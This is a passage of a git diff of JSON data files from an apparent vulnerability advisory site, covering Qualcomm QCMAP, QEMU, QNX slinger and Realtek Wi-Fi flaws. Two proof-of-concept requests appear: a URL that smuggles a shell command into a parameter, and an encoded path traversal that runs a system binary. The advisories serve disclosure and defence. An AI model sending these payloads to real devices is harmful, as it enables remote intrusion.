Part of the basic functionality of the media server is to allow the user to set media directories to publish from. This can be done, for example, via the web interface.
\nAt the implementation level, the CGI handler at cgi-bin/qcmap_web_cgi passes data from the web form to the QCMAP_Web_CLIENT binary which parses the request. The sent data is expected to be in the format var1=val1&var2=val2& var3=val3…. The first variable is expected to be the page variable. If it is set to SetMediaDir the code parses the next variables to set the DLNA media directory. It then sends the variables to the QCMAP_ConnectionManager binary, which takes care of the request in the function qmi_qcmap_msgr_set_dlna_media_dir and passes it to QCMAP_MediaService::SetDLNAMediaDir. In this function, the code splits the sent directory by the , character, and for each portion, it calls snprintf to create a command, which is then sent as an argument to the system function. There is no check on the user input to make sure that it doesn’t include malicious characters, thus it is possible to pass a string with shell metacharacters (such as ;) and run arbitrary commands.
PoC
\nhttp://x.x.x.x/cgi-bin/qcmap_web_cgi?page=SetMediaDir&dir=fakedir;sleep%2010
Vulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) Vulnerabilities Discovered in Qualcomm QCMAP enable remote root access
\n\n","description":"CVE-2020-3657 Critical severity. Command injection and stack overflow in the Qualcomm QCMAP Web Interface leads to remote code execution","date_published":"2020-10-14","xray_id":"XRAY-194063","vul_id":"CVE-2020-3657","severity":"critical","discovered_by":"Ori Hollander","last_updated":"2020-10-14","cvss":9.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/qemu-rce-xray-520621/index.json b/assets/data/vulnerabilities/qemu-rce-xray-520621/index.json index c440d921d6..a22270f65a 100644 --- a/assets/data/vulnerabilities/qemu-rce-xray-520621/index.json +++ b/assets/data/vulnerabilities/qemu-rce-xray-520621/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"QEMU Heap overflow VM escape","path":"/vulnerabilities/qemu-rce-xray-520621/","content":"Summary
\nA heap overflow in QEMU can allow an authenticated network attacker to perform a VM escape
\nComponent
\n\nAffected versions
\nQEMU (,8.0.0], no fixed release
\nDescription
\nThe fix for CVE-2021-4206 integer overflow was incomplete.\nThe ui/cursor.c function cursor_alloc() has a buffer size calculation before allocation:
size_t datasize = width * height * sizeof(uint32_t);\nwidth and height are signed integers, but their product is cast to a size_t (unsigned integer) type.\ndatasize could then become 0 or a very small number by using very big negative numbers, which would also bypass the sanity check: if (width > 512 || height > 512).
This could potentially lead to heap buffer overflow.\nA malicious privileged guest user could exploit this flaw to crash the QEMU process or execute arbitrary code on the host in the context of the QEMU process.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2023-1601 Medium severity. A heap overflow in QEMU can allow an authenticated network attacker to perform a VM escape","date_published":"2023-05-23","xray_id":"XRAY-520621","vul_id":"CVE-2023-1601","severity":"medium","discovered_by":"Yair Mizrahi","last_updated":"2023-05-23","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"QEMU Heap overflow VM escape","path":"/vulnerabilities/qemu-rce-xray-520621/","content":"Summary
\nA heap overflow in QEMU can allow an authenticated network attacker to perform a VM escape
\nComponent
\n\nAffected versions
\nQEMU (,8.0.0], no fixed release
\nDescription
\nThe fix for CVE-2021-4206 integer overflow was incomplete.\nThe ui/cursor.c function cursor_alloc() has a buffer size calculation before allocation:
size_t datasize = width * height * sizeof(uint32_t);\nwidth and height are signed integers, but their product is cast to a size_t (unsigned integer) type.\ndatasize could then become 0 or a very small number by using very big negative numbers, which would also bypass the sanity check: if (width > 512 || height > 512).
This could potentially lead to heap buffer overflow.\nA malicious privileged guest user could exploit this flaw to crash the QEMU process or execute arbitrary code on the host in the context of the QEMU process.
\nPoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2023-1601 Medium severity. A heap overflow in QEMU can allow an authenticated network attacker to perform a VM escape","date_published":"2023-05-23","xray_id":"XRAY-520621","vul_id":"CVE-2023-1601","severity":"medium","discovered_by":"Yair Mizrahi","last_updated":"2023-05-23","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/qnx-slinger-path-traversal-rce-xray-194072/index.json b/assets/data/vulnerabilities/qnx-slinger-path-traversal-rce-xray-194072/index.json index dc651757c7..3995e80bcf 100644 --- a/assets/data/vulnerabilities/qnx-slinger-path-traversal-rce-xray-194072/index.json +++ b/assets/data/vulnerabilities/qnx-slinger-path-traversal-rce-xray-194072/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"QNX slinger path traversal RCE","path":"/vulnerabilities/qnx-slinger-path-traversal-rce-xray-194072/","content":"Summary
\nPath traversal in the slinger web server on BlackBerry QNX allows unauthenticated network attackers to run arbitrary executables and read arbitrary files with the privileges of the web server by sending a simple crafted packet
\nComponent
\n\nAffected versions
\nslinger [6.4.0, 6.6.0], fixed in 7.0
\nDescription
\nBlackBerry QNX is a microkernel-based operating system, widely used in embedded devices in the automotive and other industries. slinger is a small web server meant for constrained devices that can serve files over HTTP and execute CGI scripts.
\nAttackers can trigger the exploit by sending a simple crafted packet containing URL-encoded path traversal operators (such as /../). This allows the attacker to access arbitrary files on the filesystem, outside of the web server's document root folder. The attacker can then expose sensitive data by reading general files or launch executables present on the system, passing them arbitrary parameters by including these in the URL. slinger normally runs under a restricted user account (-2 or 32767), and depending on system configuration, this can limit the potential for this attack. The public exploit demonstrates running system executables which the slinger account can access in the default configuration.
The slinger web server performs URL decoding after sanitizing the URL for path traversal operators, instead of the other way around. This allows the attacker to insert special characters such as / or .. , encoded as %2f and %2e%2e. slinger interprets them as path traversal operators and will read or execute the indicated file if it has permissions to it. The attacker can also specify parameters for executables after the ? URL element. Note that executables marked with the suid bit may run under elevated privileges when invoked this way.
The original exploit was discovered by the Vdoo Research Team. The fix addresses this issue by correcting the order of the URL decoding and sanitization operations.
\nPoC
\nGET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2fusr%2fsbin%2flogger?whaaaaa
Vulnerability mitigations
\n- \n
- Remove or disable the slinger web server on systems in which it is not necessary. \n
- Remove filesystem permissions so that the slinger account (-2 or 32767) cannot access any files outside its web root folder. \n
- Remove filesystem permissions so that the slinger account (-2 or 32767) cannot access any files with the
suidbit set. \n
References
\n(JFrog) Discovering A Hidden Directory Traversal Vulnerability in QNX Slinger
\n\n","description":"CVE-2020-6932 Critical severity. Path traversal in the slinger web server on BlackBerry QNX allows unauthenticated network attackers to run arbitrary executables and read arbitrary files with the privileges of the web server by sending a simple crafted packet","date_published":"2020-08-12","xray_id":"XRAY-194072","vul_id":"CVE-2020-6932","severity":"critical","discovered_by":"Ilya Khivrich","last_updated":"2020-08-12","cvss":9.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"QNX slinger path traversal RCE","path":"/vulnerabilities/qnx-slinger-path-traversal-rce-xray-194072/","content":"Summary
\nPath traversal in the slinger web server on BlackBerry QNX allows unauthenticated network attackers to run arbitrary executables and read arbitrary files with the privileges of the web server by sending a simple crafted packet
\nComponent
\n\nAffected versions
\nslinger [6.4.0, 6.6.0], fixed in 7.0
\nDescription
\nBlackBerry QNX is a microkernel-based operating system, widely used in embedded devices in the automotive and other industries. slinger is a small web server meant for constrained devices that can serve files over HTTP and execute CGI scripts.
\nAttackers can trigger the exploit by sending a simple crafted packet containing URL-encoded path traversal operators (such as /../). This allows the attacker to access arbitrary files on the filesystem, outside of the web server's document root folder. The attacker can then expose sensitive data by reading general files or launch executables present on the system, passing them arbitrary parameters by including these in the URL. slinger normally runs under a restricted user account (-2 or 32767), and depending on system configuration, this can limit the potential for this attack. The public exploit demonstrates running system executables which the slinger account can access in the default configuration.
The slinger web server performs URL decoding after sanitizing the URL for path traversal operators, instead of the other way around. This allows the attacker to insert special characters such as / or .. , encoded as %2f and %2e%2e. slinger interprets them as path traversal operators and will read or execute the indicated file if it has permissions to it. The attacker can also specify parameters for executables after the ? URL element. Note that executables marked with the suid bit may run under elevated privileges when invoked this way.
The original exploit was discovered by the Vdoo Research Team. The fix addresses this issue by correcting the order of the URL decoding and sanitization operations.
\nPoC
\nGET /cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2fusr%2fsbin%2flogger?whaaaaa
Vulnerability mitigations
\n- \n
- Remove or disable the slinger web server on systems in which it is not necessary. \n
- Remove filesystem permissions so that the slinger account (-2 or 32767) cannot access any files outside its web root folder. \n
- Remove filesystem permissions so that the slinger account (-2 or 32767) cannot access any files with the
suidbit set. \n
References
\n(JFrog) Discovering A Hidden Directory Traversal Vulnerability in QNX Slinger
\n\n","description":"CVE-2020-6932 Critical severity. Path traversal in the slinger web server on BlackBerry QNX allows unauthenticated network attackers to run arbitrary executables and read arbitrary files with the privileges of the web server by sending a simple crafted packet","date_published":"2020-08-12","xray_id":"XRAY-194072","vul_id":"CVE-2020-6932","severity":"critical","discovered_by":"Ilya Khivrich","last_updated":"2020-08-12","cvss":9.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194060/index.json b/assets/data/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194060/index.json index 9289fba978..6ee5fb35e3 100644 --- a/assets/data/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194060/index.json +++ b/assets/data/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194060/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Realtek 8710 WPA2 stack overflow","path":"/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194060/","content":"Summary
\nStack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution
\nComponent
\n\nAffected versions
\nAmeba SDK (, 7.1d), fixed in 7.1d
\nDescription
\nA stack buffer overflow in Realtek RTL8710 (and other Ameba-based devices) can lead to remote code execution via the AES_UnWRAP function, when an attacker in Wi-Fi range sends a crafted \"Encrypted GTK\" value as part of the WPA2 4-way-handshake.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-27301 High severity. Stack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution","date_published":"2021-06-02","xray_id":"XRAY-194060","vul_id":"CVE-2020-27301","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-06-02","cvss":8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Realtek 8710 WPA2 stack overflow","path":"/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194060/","content":"Summary
\nStack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution
\nComponent
\n\nAffected versions
\nAmeba SDK (, 7.1d), fixed in 7.1d
\nDescription
\nA stack buffer overflow in Realtek RTL8710 (and other Ameba-based devices) can lead to remote code execution via the AES_UnWRAP function, when an attacker in Wi-Fi range sends a crafted \"Encrypted GTK\" value as part of the WPA2 4-way-handshake.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-27301 High severity. Stack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution","date_published":"2021-06-02","xray_id":"XRAY-194060","vul_id":"CVE-2020-27301","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-06-02","cvss":8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194061/index.json b/assets/data/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194061/index.json index 46e86858c6..ab9b3c1f07 100644 --- a/assets/data/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194061/index.json +++ b/assets/data/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194061/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Realtek 8710 WPA2 stack overflow","path":"/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194061/","content":"Summary
\nStack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution
\nComponent
\n\nAffected versions
\nAmeba SDK (, 7.1d), fixed in 7.1d
\nDescription
\nA stack buffer overflow in Realtek RTL8710 (and other Ameba-based devices) can lead to remote code execution via the memcpy function, when an attacker in Wi-Fi range sends a crafted \"Encrypted GTK\" value as part of the WPA2 4-way-handshake.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-27302 High severity. Stack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution","date_published":"2021-06-02","xray_id":"XRAY-194061","vul_id":"CVE-2020-27302","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-06-02","cvss":8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Realtek 8710 WPA2 stack overflow","path":"/vulnerabilities/realtek-8710-wpa2-stack-overflow-xray-194061/","content":"Summary
\nStack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution
\nComponent
\n\nAffected versions
\nAmeba SDK (, 7.1d), fixed in 7.1d
\nDescription
\nA stack buffer overflow in Realtek RTL8710 (and other Ameba-based devices) can lead to remote code execution via the memcpy function, when an attacker in Wi-Fi range sends a crafted \"Encrypted GTK\" value as part of the WPA2 4-way-handshake.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-27302 High severity. Stack overflow in Realtek 8710 WPA2 key parsing leads to remote code execution","date_published":"2021-06-02","xray_id":"XRAY-194061","vul_id":"CVE-2020-27302","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-06-02","cvss":8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/realtek-multiple-wi-fi-modules-rce-xray-194071/index.json b/assets/data/vulnerabilities/realtek-multiple-wi-fi-modules-rce-xray-194071/index.json index da1eff51bd..b6cee9b28f 100644 --- a/assets/data/vulnerabilities/realtek-multiple-wi-fi-modules-rce-xray-194071/index.json +++ b/assets/data/vulnerabilities/realtek-multiple-wi-fi-modules-rce-xray-194071/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Realtek multiple Wi-Fi modules RCE","path":"/vulnerabilities/realtek-multiple-wi-fi-modules-rce-xray-194071/","content":"Summary
\nA stack buffer overflow in Realtek Wi-Fi modules allows attackers in wireless range to perform arbitrary code execution by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. Code running on the Realtek SoC handles some of the logic, including the handling for cryptographic keys. This vulnerability affects the RTL8195AM, RTL8711AM, RTL8711AF, and RTL8710AF modules. Attackers who know the correct password for the Wi-Fi network can exploit the modules by impersonating the Access Point (AP) and injecting a packet to cause a stack buffer overflow. The exploit can simply crash the device, causing denial of service, or attackers can also craft a packet which decrypts to an executable code payload, achieving arbitrary code execution. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections. Since this is a Wi-Fi attack, the attacker must be close enough to the attacked device to connect to their AP. The DecWPA2KeyData function in the module's firmware calls one of two vulnerable functions, depending on the access point's encryption algorithm: _rt_arc4_crypt_veneer or _AES_UnWRAP_veneer. Both functions decrypt a key buffer received from the AP and place the results into a fixed-size buffer on the stack without checking the actual buffer length. Since the attacker who impersonates the AP can craft an EAPOL-Key response packet with the key buffer's contents and length of their choice, they can cause stack buffer overflow. An attacker who knows the network's password can also compute the KEK (Key Encryption Key), which is derived from the Wi-Fi password. This allows the attacker to correctly encrypt a binary buffer using the KEK and pass the results in the key buffer, causing the device to decrypt it and overwrite its stack with attacker-controlled contents. This leads to malicious code execution. The original exploit was discovered by the JFrog Research Team. The fix adds an output length parameter to the vulnerable functions and verifies it against the maximum length of the key buffer.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-9395 High severity. A stack buffer overflow in Realtek Wi-Fi modules allows attackers in wireless range to perform arbitrary code execution by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194071","vul_id":"CVE-2020-9395","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Realtek multiple Wi-Fi modules RCE","path":"/vulnerabilities/realtek-multiple-wi-fi-modules-rce-xray-194071/","content":"Summary
\nA stack buffer overflow in Realtek Wi-Fi modules allows attackers in wireless range to perform arbitrary code execution by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. Code running on the Realtek SoC handles some of the logic, including the handling for cryptographic keys. This vulnerability affects the RTL8195AM, RTL8711AM, RTL8711AF, and RTL8710AF modules. Attackers who know the correct password for the Wi-Fi network can exploit the modules by impersonating the Access Point (AP) and injecting a packet to cause a stack buffer overflow. The exploit can simply crash the device, causing denial of service, or attackers can also craft a packet which decrypts to an executable code payload, achieving arbitrary code execution. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections. Since this is a Wi-Fi attack, the attacker must be close enough to the attacked device to connect to their AP. The DecWPA2KeyData function in the module's firmware calls one of two vulnerable functions, depending on the access point's encryption algorithm: _rt_arc4_crypt_veneer or _AES_UnWRAP_veneer. Both functions decrypt a key buffer received from the AP and place the results into a fixed-size buffer on the stack without checking the actual buffer length. Since the attacker who impersonates the AP can craft an EAPOL-Key response packet with the key buffer's contents and length of their choice, they can cause stack buffer overflow. An attacker who knows the network's password can also compute the KEK (Key Encryption Key), which is derived from the Wi-Fi password. This allows the attacker to correctly encrypt a binary buffer using the KEK and pass the results in the key buffer, causing the device to decrypt it and overwrite its stack with attacker-controlled contents. This leads to malicious code execution. The original exploit was discovered by the JFrog Research Team. The fix adds an output length parameter to the vulnerable functions and verifies it against the maximum length of the key buffer.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-9395 High severity. A stack buffer overflow in Realtek Wi-Fi modules allows attackers in wireless range to perform arbitrary code execution by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194071","vul_id":"CVE-2020-9395","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/realtek-rtl8195-a-dos-xray-194066/index.json b/assets/data/vulnerabilities/realtek-rtl8195-a-dos-xray-194066/index.json index 93e2247578..52da8a0360 100644 --- a/assets/data/vulnerabilities/realtek-rtl8195-a-dos-xray-194066/index.json +++ b/assets/data/vulnerabilities/realtek-rtl8195-a-dos-xray-194066/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Realtek RTL8195A DoS","path":"/vulnerabilities/realtek-rtl8195-a-dos-xray-194066/","content":"Summary
\nA stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer overflow, crashing the device and causing denial of service. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for an attacker to replicate the exploit. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections, making this easier to exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function ClientEAPOLKeyRecvd in the Wi-Fi module's firmware does not validate the length parameter for an rtl_memcpy operation. The operation takes a length value provided on the network, and its the destination is a fixed-size stack buffer. This results in stack buffer overflow, but the attacker cannot control the overflowing source data, and so this can only be exploited to crash the device.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-25857 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194066","vul_id":"CVE-2020-25857","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Realtek RTL8195A DoS","path":"/vulnerabilities/realtek-rtl8195-a-dos-xray-194066/","content":"Summary
\nA stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer overflow, crashing the device and causing denial of service. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for an attacker to replicate the exploit. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections, making this easier to exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function ClientEAPOLKeyRecvd in the Wi-Fi module's firmware does not validate the length parameter for an rtl_memcpy operation. The operation takes a length value provided on the network, and its the destination is a fixed-size stack buffer. This results in stack buffer overflow, but the attacker cannot control the overflowing source data, and so this can only be exploited to crash the device.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-25857 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows unauthenticated attackers in wireless range to cause denial of service by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194066","vul_id":"CVE-2020-25857","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194067/index.json b/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194067/index.json index 94fb675281..a0df83ad38 100644 --- a/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194067/index.json +++ b/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194067/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Realtek RTL8195A RCE","path":"/vulnerabilities/realtek-rtl8195-a-rce-xray-194067/","content":"Summary
\nA stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer overflow. The exploit can overwrite stack contents with a malicious payload, achieving remote code execution. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for an attacker to replicate the exploit. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections, making this easier to exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function DecWPA2KeyData in the Wi-Fi module's firmware does not validate the length parameter for an rtl_memcpy operation. The operation takes a length value provided on the network, and its destination is a fixed-size stack buffer. This results in stack buffer overflow with attacker-controlled contents.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-25856 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194067","vul_id":"CVE-2020-25856","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":8.1}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Realtek RTL8195A RCE","path":"/vulnerabilities/realtek-rtl8195-a-rce-xray-194067/","content":"Summary
\nA stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer overflow. The exploit can overwrite stack contents with a malicious payload, achieving remote code execution. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for an attacker to replicate the exploit. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections, making this easier to exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function DecWPA2KeyData in the Wi-Fi module's firmware does not validate the length parameter for an rtl_memcpy operation. The operation takes a length value provided on the network, and its destination is a fixed-size stack buffer. This results in stack buffer overflow with attacker-controlled contents.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
\n\n","description":"CVE-2020-25856 High severity. A stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point","date_published":"2021-02-03","xray_id":"XRAY-194067","vul_id":"CVE-2020-25856","severity":"high","discovered_by":"Uriya Yavnieli","last_updated":"2021-02-03","cvss":8.1}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194068/index.json b/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194068/index.json index ba3b2442d1..161e5a8e9c 100644 --- a/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194068/index.json +++ b/assets/data/vulnerabilities/realtek-rtl8195-a-rce-xray-194068/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Realtek RTL8195A RCE","path":"/vulnerabilities/realtek-rtl8195-a-rce-xray-194068/","content":"Summary
\nA stack buffer overflow in the Realtek RTL8195A Wi-Fi Module allows authenticated attackers in wireless range to perform remote code execution by impersonating a Wi-Fi access point
\nComponent
\n\nAffected versions
\nAmeba SDK (, 2.0.8), fixed in 2.0.8
\nDescription
\nRealtek Wi-Fi chips enable connectivity for embedded devices and are widely used in IoT development boards and production devices. This vulnerability affects the RTL8195A module. Attackers can exploit the module by impersonating an Access Point (AP) and injecting a packet into the WPA2 handshake to cause a stack buffer overflow. The exploit can overwrite stack contents with a malicious payload, achieving remote code execution. No public exploit is currently known for this vulnerability, but the JFrog blog provides sufficient technical details for an attacker to replicate the exploit. The firmware employs no mitigations against memory corruption attacks, such as stack canaries, the NX bit, or ASLR protections, making this easier to exploit. Since this is a Wi-Fi attack, the attacker must be close enough for the target device to connect to the attacker's AP. The function AES_UnWRAP in the Wi-Fi module's firmware does not validate the destination bounds for a memcpy operation, executed in a loop in which the number of iterations is determined by a length value provided on the network. This results in stack buffer overflow with attacker-controlled contents.
PoC
\nNo PoC is supplied for this issue
\nVulnerability mitigations
\nNo vulnerability mitigations are supplied for this issue
\nReferences
\n(JFrog) WiFi Vulnerabilities Discovered by Automated Zero-Day Analysis
